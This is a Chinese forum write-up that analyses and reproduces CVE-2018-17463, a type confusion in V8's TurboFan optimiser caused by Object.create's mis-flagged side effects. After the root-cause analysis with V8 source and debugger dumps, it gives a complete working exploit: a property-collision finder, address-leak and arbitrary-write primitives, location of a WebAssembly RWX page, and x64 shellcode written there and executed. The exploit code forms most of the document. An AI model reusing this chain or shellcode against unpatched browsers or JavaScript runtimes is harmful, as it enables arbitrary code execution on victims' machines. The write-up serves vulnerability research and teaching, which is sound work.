CVE-2018-17463详细分析及复现
本文为看雪论坛优秀文章
看雪论坛作者ID:h1J4cker
一
前置准备
git checkout 568979f4d891bafec875fab20f608ff9392f4f29./tools/dev/v8gen.py x64.debug -vvninja -C out.gn/x64.debug#如果需要release版本的话,把x64.debug换成x64.release即可,这里为了调试方便,我是用的debug版本
二
漏洞分析
//poc.js(function() {function f(o) {o.x;Object.create(o);return o.y.a;}f({ x : 0, y : { a : 1 } });f({ x : 0, y : { a : 2 } });%OptimizeFunctionOnNextCall(f);assertEquals(3, f({ x : 0, y : { a : 3 } }));})();(function() {function f(o) {let a = o.y;Object.create(o);return o.x + a;}f({ x : 42, y : 21 });f({ x : 42, y : 21 });%OptimizeFunctionOnNextCall(f);assertEquals(63, f({ x : 42, y : 21 }));})();
@@ -622,7 +622,7 @@V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \V(CreatePromise, Operator::kEliminatable, 0, 1) \V(CreateTypedArray, Operator::kNoProperties, 5, 1) \- V(CreateObject, Operator::kNoWrite, 1, 1) \+ V(CreateObject, Operator::kNoProperties, 1, 1) \V(ObjectIsArray, Operator::kNoProperties, 1, 1) \V(HasProperty, Operator::kNoProperties, 2, 1) \V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
//operator.henum Property {kNoProperties = 0,kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).kNoRead = 1 << 3, // Has no scheduling dependency on EffectskNoWrite = 1 << 4, // Does not modify any Effects and thereby// create new scheduling dependencies.kNoThrow = 1 << 5, // Can never generate an exception.kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit.kFoldable = kNoRead | kNoWrite,kKontrol = kNoDeopt | kFoldable | kNoThrow,kEliminatable = kNoDeopt | kNoWrite | kNoThrow,kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent};
../../out.gn/x64.debug/d8 poc.js --allow-natives-syntax --trace-turbopython -m SimpleHTTPServerTF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {Node* const prototype = Parameter(Descriptor::kPrototypeArg);Node* const context = Parameter(Descriptor::kContext);Node* const native_context = LoadNativeContext(context);Label call_runtime(this, Label::kDeferred), prototype_null(this),prototype_jsreceiver(this);{Comment("Argument check: prototype");GotoIf(IsNull(prototype), &prototype_null);BranchIfJSReceiver(prototype, &prototype_jsreceiver, &call_runtime);}..........BIND(&call_runtime);{Comment("Call Runtime (prototype is not null/jsreceiver)");Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype,UndefinedConstant());Return(result);}}
RUNTIME_FUNCTION(Runtime_ObjectCreate) {HandleScope scope(isolate);Handle<Object> prototype = args.at(0);Handle<Object> properties = args.at(1);Handle<JSObject> obj;// 1. If Type(O) is neither Object nor Null, throw a TypeError exception.if (!prototype->IsNull(isolate) && !prototype->IsJSReceiver()) {THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kProtoObjectOrNull, prototype));}// 2. Let obj be ObjectCreate(O).ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, obj, JSObject::ObjectCreate(isolate, prototype));// 3. If Properties is not undefined, thenif (!properties->IsUndefined(isolate)) {// a. Return ? ObjectDefineProperties(obj, Properties).// Define the properties if properties was specified and is not undefined.RETURN_RESULT_OR_FAILURE(isolate, JSReceiver::DefineProperties(isolate, obj, properties));}// 4. Return obj.return *obj;}
// 9.1.12 ObjectCreate ( proto [ , internalSlotsList ] )// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,Handle<Object> prototype) {// Generate the map with the specified {prototype} based on the Object// function's initial map from the current native context.// TODO(bmeurer): Use a dedicated cache for Object.create; think about// slack tracking for Object.create.Handle<Map> map =Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));// Actually allocate the object.Handle<JSObject> object;if (map->is_dictionary_map()) {object = isolate->factory()->NewSlowJSObjectFromMap(map);} else {object = isolate->factory()->NewJSObjectFromMap(map);}return object;}
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,Handle<HeapObject> prototype) {Handle<Map> map(isolate->native_context()->object_function()->initial_map(),isolate);if (map->prototype() == *prototype) return map;if (prototype->IsNull(isolate)) {return isolate->slow_object_with_null_prototype_map();}if (prototype->IsJSObject()) {Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);if (!js_prototype->map()->is_prototype_map()) {JSObject::OptimizeAsPrototype(js_prototype);}Handle<PrototypeInfo> info =Map::GetOrCreatePrototypeInfo(js_prototype, isolate);// TODO(verwaest): Use inobject slack tracking for this map.if (info->HasObjectCreateMap()) {map = handle(info->ObjectCreateMap(), isolate);} else {map = Map::CopyInitialMap(isolate, map);Map::SetPrototype(isolate, map, prototype);PrototypeInfo::SetObjectCreateMap(info, map);}return map;}return Map::TransitionToPrototype(isolate, map, prototype);}
void JSObject::OptimizeAsPrototype(Handle<JSObject> object,bool enable_setup_mode) {if (object->IsJSGlobalObject()) return;if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {// First normalize to ensure all JSFunctions are DATA_CONSTANT.JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,"NormalizeAsPrototype");}if (object->map()->is_prototype_map()) {if (object->map()->should_be_fast_prototype_map() &&!object->HasFastProperties()) {JSObject::MigrateSlowToFast(object, 0, "OptimizeAsPrototype");}} else {Handle<Map> new_map = Map::Copy(object->GetIsolate(),handle(object->map(), object->GetIsolate()),"CopyAsPrototype");JSObject::MigrateToMap(object, new_map);object->map()->set_is_prototype_map(true);// Replace the pointer to the exact constructor with the Object function// from the same context if undetectable from JS. This is to avoid keeping// memory alive unnecessarily.Object* maybe_constructor = object->map()->GetConstructor();if (maybe_constructor->IsJSFunction()) {JSFunction* constructor = JSFunction::cast(maybe_constructor);if (!constructor->shared()->IsApiFunction()) {Context* context = constructor->context()->native_context();JSFunction* object_function = context->object_function();object->map()->SetConstructor(object_function);}}}}
static bool PrototypeBenefitsFromNormalization(Handle<JSObject> object) {DisallowHeapAllocation no_gc;if (!object->HasFastProperties()) return false;if (object->IsJSGlobalProxy()) return false;if (object->GetIsolate()->bootstrapper()->IsActive()) return false;return !object->map()->is_prototype_map() ||!object->map()->should_be_fast_prototype_map();}
void JSObject::NormalizeProperties(Handle<JSObject> object,PropertyNormalizationMode mode,int expected_additional_properties,const char* reason) {if (!object->HasFastProperties()) return;Handle<Map> map(object->map(), object->GetIsolate());Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);MigrateToMap(object, new_map, expected_additional_properties);}
Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map,PropertyNormalizationMode mode, const char* reason) {DCHECK(!fast_map->is_dictionary_map());Handle<Object> maybe_cache(isolate->native_context()->normalized_map_cache(),isolate);bool use_cache =!fast_map->is_prototype_map() && !maybe_cache->IsUndefined(isolate);Handle<NormalizedMapCache> cache;if (use_cache) cache = Handle<NormalizedMapCache>::cast(maybe_cache);Handle<Map> new_map;if (use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)) {#ifdef VERIFY_HEAPif (FLAG_verify_heap) new_map->DictionaryMapVerify(isolate);#endif#ifdef ENABLE_SLOW_DCHECKSif (FLAG_enable_slow_asserts) {// The cached map should match newly created normalized map bit-by-bit,// except for the code cache, which can contain some ICs which can be// applied to the shared map, dependent code and weak cell cache.Handle<Map> fresh = Map::CopyNormalized(isolate, fast_map, mode);if (new_map->is_prototype_map()) {// For prototype maps, the PrototypeInfo is not copied.DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),reinterpret_cast<void*>(new_map->address()),kTransitionsOrPrototypeInfoOffset));DCHECK_EQ(fresh->raw_transitions(),MaybeObject::FromObject(Smi::kZero));STATIC_ASSERT(kDescriptorsOffset ==kTransitionsOrPrototypeInfoOffset + kPointerSize);DCHECK_EQ(0, memcmp(HeapObject::RawField(*fresh, kDescriptorsOffset),HeapObject::RawField(*new_map, kDescriptorsOffset),kDependentCodeOffset - kDescriptorsOffset));} else {DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),reinterpret_cast<void*>(new_map->address()),Map::kDependentCodeOffset));}STATIC_ASSERT(Map::kPrototypeValidityCellOffset ==Map::kDependentCodeOffset + kPointerSize);int offset = Map::kPrototypeValidityCellOffset + kPointerSize;DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address() + offset),reinterpret_cast<void*>(new_map->address() + offset),Map::kSize - offset));}#endif} else {new_map = Map::CopyNormalized(isolate, fast_map, mode);if (use_cache) {cache->Set(fast_map, new_map);isolate->counters()->maps_normalized()->Increment();}if (FLAG_trace_maps) {LOG(isolate, MapEvent("Normalize", *fast_map, *new_map, reason));}}fast_map->NotifyLeafMapLayoutChange(isolate);return new_map;}
Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,PropertyNormalizationMode mode) {int new_instance_size = map->instance_size();if (mode == CLEAR_INOBJECT_PROPERTIES) {new_instance_size -= map->GetInObjectProperties() * kPointerSize;}Handle<Map> result = RawCopy(isolate, map, new_instance_size,mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());// Clear the unused_property_fields explicitly as this field should not// be accessed for normalized maps.result->SetInObjectUnusedPropertyFields(0);result->set_is_dictionary_map(true);result->set_is_migration_target(false);result->set_may_have_interesting_symbols(true);result->set_construction_counter(kNoSlackTracking);#ifdef VERIFY_HEAPif (FLAG_verify_heap) result->DictionaryMapVerify(isolate);#endifreturn result;}
void Map::set_is_dictionary_map(bool value) {uint32_t new_bit_field3 = IsDictionaryMapBit::update(bit_field3(), value);new_bit_field3 = IsUnstableBit::update(new_bit_field3, value);set_bit_field3(new_bit_field3);}
//myPoc.jsfunction triggerVul(obj){obj.x;Object.create(obj);return obj.y;}var obj = {"x":11};obj.y = 22;triggerVul(obj);triggerVul(obj);for(let i = 0;i<10000;i++){var obj = {"x":11};obj.y = 22;var result = triggerVul(obj);if(result!=22){console.log("\033[32m[!] Vul has been triggered!\033[0m");break;}}
//test.jsvar obj = {"a":1,"b":2};obj.c=11;obj.d=22;%DebugPrint(obj);Object.create(obj);%DebugPrint(obj);%SystemBreak();
gdb ./d8set args --allow-natives-syntax ./test.jsr
第一次DebugPrint:0x1866d7b8e1b1: [JS_OBJECT_TYPE]- map: 0x181a3138ca71 <Map(HOLEY_ELEMENTS)> [FastProperties]- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]- properties: 0x1866d7b8e2c9 <PropertyArray[3]> {#a: 1 (data field 0)#b: 2 (data field 1)#c: 11 (data field 2) properties[0]#d: 22 (data field 3) properties[1]}第二次DebugPrint:0x1866d7b8e1b1: [JS_OBJECT_TYPE]- map: 0x181a3138cb11 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]- properties: 0x1866d7b8e371 <NameDictionary[53]> {#d: 22 (data, dict_index: 4, attrs: [WEC])#a: 1 (data, dict_index: 1, attrs: [WEC])#b: 2 (data, dict_index: 2, attrs: [WEC])#c: 11 (data, dict_index: 3, attrs: [WEC])}
0x1866d7b8e371: [ObjectHashTable]- map: 0x108cb1b83669 <Map>- length: 53- elements: 4- deleted: 0- capacity: 16- elements: {0: 5 -> 01: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>2: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>3: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>4: 0x33fa0db050a1 <String[1]: d> -> 225: 1216 -> 0x03ce280a2991 <String[1]: a>6: 1 -> 4487: 0x03ce280a29a9 <String[1]: b> -> 28: 704 -> 0x108cb1b825a1 <undefined>9: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>10: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>11: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>12: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>13: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>14: 0x108cb1b825a1 <undefined> -> 0x33fa0db068c9 <String[1]: c>15: 11 -> 960}
pwndbg> x/20gx 0x1866d7b8e2c9-10x1866d7b8e2c8: 0x0000108cb1b83899 0x00000003000000000x1866d7b8e2d8: 0x0000000b00000000 0x00000016000000000x1866d7b8e2e8: 0x0000108cb1b825a1 0x0000108cb1b823410x1866d7b8e2f8: 0x0000000e00000000 0x00000004000000000x1866d7b8e308: 0x0000108cb1b846f9 0x000003ce280a29910x1866d7b8e318: 0x0000014000000000 0x00000001000000000x1866d7b8e328: 0x000003ce280a29a9 0x00100540000000000x1866d7b8e338: 0x0000000100000000 0x000033fa0db068c90x1866d7b8e348: 0x0020094000000000 0x00000001000000000x1866d7b8e358: 0x000033fa0db050a1 0x00300d4000000000
function create(){var obj = {a:123};for(let i = 0;i<30;i++){eval(`obj.${'b'+i} = 456-i`);}return obj;}let obj_array=[];/*function triggerVul(obj){obj.a;this.Object.create(obj);eval(`${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}`);}*/function find(){for (let i = 0;i<40;i++){obj_array[i] = 'b'+i;}eval(`function triggerVul(obj){obj.a;this.Object.create(obj);${obj_array.map((b) => `let ${b} = obj.${b};`).join('\n')}return [${obj_array.join(', ')}];}`);for(let i = 0;i<10000;i++){let obj = create();let array = triggerVul(obj);for(let j = 0;j<array.length;j++){if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));return ['b'+j , 'b' + (456-array[j])];}}}}find();
var obj1 = {a:1,b:2,c:3};obj1.d = 4;var obj2 = {a:5,b:6,c:7};obj2.d = 8;Object.create(obj1);Object.create(obj2);%DebugPrint(obj1);%DebugPrint(obj2);%SystemBreak();
obj1:0x32d124d8e401: [ObjectHashTable]- map: 0x236b46483669 <Map>- length: 53- elements: 4- deleted: 0- capacity: 16- elements: {0: 5 -> 01: 0x201e9c6a2991 <String[1]: a> -> 12: 448 -> 0x236b464825a1 <undefined>3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>9: 4 -> 121610: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>12: 3 -> 96013: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>}obj2:0x32d124d8e5f1: [ObjectHashTable]- map: 0x236b46483669 <Map>- length: 53- elements: 4- deleted: 0- capacity: 16- elements: {0: 5 -> 01: 0x201e9c6a2991 <String[1]: a> -> 52: 448 -> 0x236b464825a1 <undefined>3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>9: 8 -> 121610: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>12: 7 -> 96013: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>}
let C1 = 0;let C2 = 0;function leak_obj_create(target){var obj = {a:123};for(let i = 0; i<30; i++){if('b'+i!=C1&&'b'+i!=C2){eval(`obj.${'b'+i} = 456;`);}else if('b'+i==C1){eval(`obj.${C1} = {c10:1.1,c11:2.2};`);}else if('b'+i==C2){eval(`obj.${C2} = {c20:target};`);}}return obj;}function leak(target){eval(`function triggerVul(target){target.a;this.Object.create(target);return target.${C1}.c10;}`);for(let i = 0; i<10000; i++){var obj = leak_obj_create(target);var leak_addr = triggerVul(obj);if(leak_addr!=1.1&&leak_addr!=456&&leak_addr!=undefined){console.log("\033[1;32m[*] target addr is leaked: \033[0m 0x" + (f_to_i(leak_addr)));return f_to_i(leak_addr);}}}[C1,C2] = find();var buffer = new ArrayBuffer(0x100);leak(buffer);
obj.C1 = {c10:{c11:1.1,c12:2.2}};obj.C2 = {c20:target};
function write_obj_create(target){var obj = {a:123};for(let i = 0; i<30; i++){if('b'+i!=C1&&'b'+i!=C2){eval(`obj.${'b'+i} = {};`);}else if('b'+i==C1){eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);}else if('b'+i==C2){eval(`obj.${C2} = {c20:target};`);}}return obj;}function write(target,data){eval(`function triggerVul(target,data){target.a;this.Object.create(target);let sign = target.${C1}.c10.c12;target.${C1}.c10.c12 = (data);return sign;}`);for(let i = 0; i<10000; i++){var obj = write_obj_create(target);var sign = triggerVul(obj,data);if(sign!=2.2){console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));return ;}}console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var wasm = wasmInstance.exports.main;wasm();
wasmFunctionaddr==>SharedInfo==>WasmExportedFunctionData==>Instance==>Instance+0xe8+0x8(直接vmmap看就能发现这里是有rwx权限的)
var buf = new ArrayBuffer(16);var f64 = new Float64Array(buf);var i32 = new Uint32Array(buf);function f_to_i(target){f64[0] = target;let tmp = Array.from(i32);return tmp[1] * 0x100000000 + tmp[0];}function i_to_f(target){let tmp = [];tmp[0] = parseInt(target % 0x100000000);tmp[1] = parseInt((target-tmp[0]) / 0x100000000);i32.set(tmp);return f64[0];}function hex(target){return target.toString(16).padStart(16,"0");}function gc(){for(var i=0;i<((1024 * 1024)/0x10);i++){var a= new String();}}function create(){var obj = {a:123};for(let i = 0;i<30;i++){eval(`obj.${'b'+i} = 456-i`);}return obj;}let obj_array=[];/*function triggerVul(obj){obj.a;this.Object.create(obj);eval(`${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}`);}*/function find(){for (let i = 0;i<40;i++){obj_array[i] = 'b'+i;}eval(`function triggerVul(obj){obj.a;this.Object.create(obj);${obj_array.map((b) => `let ${b} = obj.${b};`).join('\n')}return [${obj_array.join(', ')}];}`);for(let i = 0;i<10000;i++){let obj = create();let array = triggerVul(obj);for(let j = 0;j<array.length;j++){if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));return ['b'+j , 'b' + (456-array[j])];}}}}let C1 = 0;let C2 = 0;function leak_obj_create(target){var obj = {a:123};for(let i = 0; i<30; i++){if('b'+i!=C1&&'b'+i!=C2){eval(`obj.${'b'+i} = 1.1;`);}else if('b'+i==C1){eval(`obj.${C1} = {c10:1.1,c11:2.2};`);//eval(`obj.${C1} = 1.1;`)}else if('b'+i==C2){eval(`obj.${C2} = {c20:target};`);//eval(`obj.${C2} = target;`)}}return obj;}function leak(target){eval(`function triggerVul(target){target.a;this.Object.create(target);return target.${C1}.c10;}`);for(let i = 0; i<10000; i++){var obj = leak_obj_create(target);var leak_addr = triggerVul(obj);if(leak_addr!=1.1&&leak_addr!=undefined){console.log("\033[1;32m[*] target addr is leaked: \033[0m " + (f_to_i(leak_addr)));return f_to_i(leak_addr);}}}function write_obj_create(target){var obj = {a:123};for(let i = 0; i<30; i++){if('b'+i!=C1&&'b'+i!=C2){eval(`obj.${'b'+i} = {};`);}else if('b'+i==C1){eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);}else if('b'+i==C2){eval(`obj.${C2} = {c20:target};`);}}return obj;}function write(target,data){eval(`function triggerVul(target,data){target.a;this.Object.create(target);let sign = target.${C1}.c10.c12;target.${C1}.c10.c12 = (data);return sign;}`);for(let i = 0; i<10000; i++){var obj = write_obj_create(target);var sign = triggerVul(obj,data);if(sign!=2.2){console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));return ;}}console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");}[C1,C2] = find();var buffer = new ArrayBuffer(0x200);var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var wasm = wasmInstance.exports.main;wasm();var wasm_addr = leak(wasm);write(buffer,i_to_f(wasm_addr));let dataview = new DataView(buffer);shared_info = f_to_i(dataview.getFloat64(0x18-0x1,true));console.log("\033[1;32m[*] shared info addr is leaked: \033[0m " + (shared_info));write(buffer,i_to_f((shared_info)));WasmFunc = f_to_i(dataview.getFloat64(0x8-0x1,true));console.log("\033[1;32m[*] wasm Func addr is leaked: \033[0m " + (WasmFunc));write(buffer,i_to_f(WasmFunc));Instance = f_to_i(dataview.getFloat64(0x10-0x1,true));console.log("\033[1;32m[*] wasm Instance addr is leaked: \033[0m " + (Instance));write(buffer,i_to_f(Instance));wasm_rwx = f_to_i(dataview.getFloat64(0xe8+0x8-0x1,true));console.log("\033[1;32m[*] wasm rwx addr is leaked: \033[0m " + (wasm_rwx));write(buffer,i_to_f(wasm_rwx));var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];for(let i=0;i<shellcode.length;i++){dataview.setUint8(i,shellcode[i]);}wasm();//%DebugPrint(buffer);//%DebugPrint(wasm);//%DebugPrint(shared_info);//%SystemBreak();
看雪ID:h1J4cker
https://bbs.pediy.com/user-home-951494.htm
峰会回顾:https://mp.weixin.qq.com/s/eEbc8k8H9Pc2K0d_AHG3BA
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!